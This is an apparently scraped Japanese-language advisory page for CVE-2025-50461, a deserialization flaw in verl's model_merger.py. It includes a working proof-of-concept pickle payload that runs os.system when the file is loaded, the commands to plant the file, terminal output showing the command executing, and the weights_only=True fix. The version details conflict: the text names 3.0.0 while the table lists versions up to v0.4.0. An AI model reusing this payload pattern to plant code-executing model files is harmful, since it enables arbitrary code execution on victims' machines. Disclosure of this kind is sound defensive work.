
Technical Details and Exploit for CVE-2025-50461
ステータス: 予約済み
このCVE IDは割り当てられていますが、公式のCVEリストにはまだ公開されていません。Volcengineのverl 3.0.0には、特に "fsdp" バックエンドを使用する際の scripts/model_merger.py スクリプトにデシリアライゼーションの脆弱性が存在します。このスクリプトは、ユーザーが提供した .pt ファイルに対して weights_only=False で torch.load() を呼び出し、悪意を持って作成されたモデルファイルが読み込まれた場合に、攻撃者が任意のコードを実行できるようにします。攻撃者は、被害者に悪意のあるモデルファイルをダウンロードさせ、特定のファイル名パターンでローカルディレクトリに配置させることで、この脆弱性を悪用する可能性があります。この脆弱性は、スクリプトを実行するユーザーの権限で任意のコードが実行される可能性があります。
scripts/model_merger.pymalicious.pt) を作成するimport pickle
import os
class Malicious:
def __reduce__(self):
return (os.system, ("mkdir HACKED!",))
with open("malicious.pt", "wb") as f:
pickle.dump(Malicious(), f)
mv malicious.pt model_world_size_4_rank_0.pt
mkdir TESTS
mv model_world_size_4_rank_0.pt TESTS/
python scripts/model_merger.py --backend="fsdp" --local_dir="TESTS" --hf_model_path="TESTS"
root@99137c7690ee:/workspace/verl-main# python scripts/model_merger.py --backend="fsdp" --local_dir="TESTS" --hf_model_path="TESTS"
Traceback (most recent call last):
File "/workspace/verl-main/scripts/model_merger.py", line 440, in <module>
convert_fsdp_checkpoints_to_hfmodels()
File "/workspace/verl-main/scripts/model_merger.py", line 88, in convert_fsdp_checkpoints_to_hfmodels
state_dict = torch.load(os.path.join(local_dir, f'model_world_size_{world_size}_rank_{rank}.pt'),
File "/usr/local/lib/python3.10/dist-packages/torch/serialization.py", line 1384, in load
return _legacy_load(
File "/usr/local/lib/python3.10/dist-packages/torch/serialization.py", line 1630, in _legacy_load
raise RuntimeError("Invalid magic number; corrupt file?")
RuntimeError: Invalid magic number; corrupt file?
root@99137c7690ee:/workspace/verl-main# ls
'HACKED!' Notice.txt TESTS docker examples outputs pyproject.toml requirements.txt scripts test_prime.sh tmp verl.egg-info
LICENSE README.md data docs patches recipe requirements_sglang.txt setup.py tests verl verl_demo.log
コマンド mkdir HACKED! が被害者のシステム上で実行されます。
weights_only=True となり、デシリアライゼーションのリスクが軽減されます。torch.load を呼び出す際に明示的に weights_only=True を設定する。state_dict = torch.load(path, map_location="cpu", weights_only=True)
| フィールド | 値 |
|---|
| CVE ID | CVE-2025-50461 |
| CVSS スコア | TBD |
| CWE | CWE-502: Deserialization of Untrusted Data |
| 報告日 | 2025-04-30 |
| 公開日 | 2025-08-15 |
| 影響を受けるバージョン | <= v0.4.0 |
| 修正バージョン |